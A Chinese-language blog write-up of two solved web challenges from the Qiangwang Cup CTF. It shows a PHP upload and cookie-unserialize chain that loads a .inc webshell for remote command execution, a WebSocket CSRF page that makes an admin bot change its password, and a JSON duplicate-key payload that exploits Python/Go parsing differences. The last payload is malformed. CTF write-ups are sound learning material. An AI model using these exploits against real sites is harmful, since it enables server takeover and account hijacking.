​ 在博客上记录一下强网杯两道做出的web题目的详细解析,因为题目已经关闭,所以只能通过源码加解释的方法对题目进行解析,我会尽量解析的比较细致。

rcefile

首先打开页面为文件上传功能页面,根据比赛经验,此类题目通常会给你读取源码的方法,这里我们直接尝试www.zip,成功下载到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
spl_autoload_register();
error_reporting(0);

function e($str){
return htmlspecialchars($str);
}
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
<a href="/index.php">Index</a>
<a href="/showfile.php">files</a>
</p>

可以看到这里使用了spl_autoload_register函数,通过查询可以知道此函数的特点为如果不指定处理用的函数,就会自动包含“类名.php”或“类名.inc” 的文件,并加载其中的“类名”类,根据这个特点我们又看到源码中将上传文件的所有文件都进行序列化存储到cookie中,这里我们可以想到一个思路就是将php文件或者inc文件上传,并构造以文件名为类名的类,替换cookie从而实现,执行webshell的方法,思路有了我们在回头看一下upload.php对于上传文件做出了哪些限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
include "config.inc.php";

$file = $_FILES["file"];
if ($file["error"] == 0) {
if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
$typeArr = explode("/", $file["type"]);
$imgType = array("png","jpg","jpeg");
if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){
exit("type error");
}
$blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
$filearray = pathinfo($file["name"]);
$ext = $filearray["extension"];
if(in_array($ext, $blackext)) {
exit("extension error");
}
$imgname = md5(time()).".".$ext;
if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) {
array_push($userfile, $imgname);
setcookie("userfile", serialize($userfile), time() + 3600*10);
$msg = e("file: {$imgname}");
echo $msg;
} else {
echo "upload failed!";
}
}
}else{
exit("error");
}

通过upload.php我们可以看到站点对于上传文件的type进行了限制,使其只能上传文件类型为“png”、“jpg”、“jpeg”类型的图片,这里通过burp抓包更改文件类型可以轻松绕过,继续往下看站点设置上传文件黑名单,虽然php后缀被完全限制,但是inc文件并没有被限制所以我们创建后缀名为inc的webshell,再将其上传到网站后返回文件名。再以文件名为类名构造序列化内容,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class dc5d9256a103b4cea75ff33f974f94e2{
function __construct()
{

}
}

$p = new dc5d9256a103b4cea75ff33f974f94e2();
$a = serialize($p);
echo $a;
?>

将生成的序列化内容与站点原始cookie中的序列化内容进行替换。从而实现命令执行

babyweb

这道题目的考点为websocket劫持从而进行csrf攻击完成登录管理员账户的目的,站点的功能为互动bot,注册账号登录系统,可以使用bot,在注册账号的时候我尝试注册admin账户,显示账户已存在,从而我们可以确定admin账户存在并且我们要尝试登录admin账户,进入网站后输入help与bot互动发现bot可以以管理员的身份对网站bug进行检测,那我们使用此功能对让bot对设置好修改密码命令的网页进行访问从而实现csrf。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<meta charset="utf-8">
<script>
function ws(){

var ws = new WebSocket("ws://127.0.0.1:8888/bot");
// 连接成功后的回调函数。
ws.onopen = function(event){
// 发送数据
ws.send("changepw 123456")

}
}
// 调用方法
ws();
</script>

进入之后是购买界面,使用仅有的200购买到hint,得到网站源码,根据网站源码中python和go对于json获取数据的差异(python对于同名获取后面,go获取前面),构造payload

1
{"product":[{"id":1,"num",0},{"id":2,"num":0,"num:2"}]}

python控制购买的数量但不会识别钱数,go识别钱数但不回对购买数量进行限制所以可以使用第一个为0来让go识别为花费0*1000从而实现购买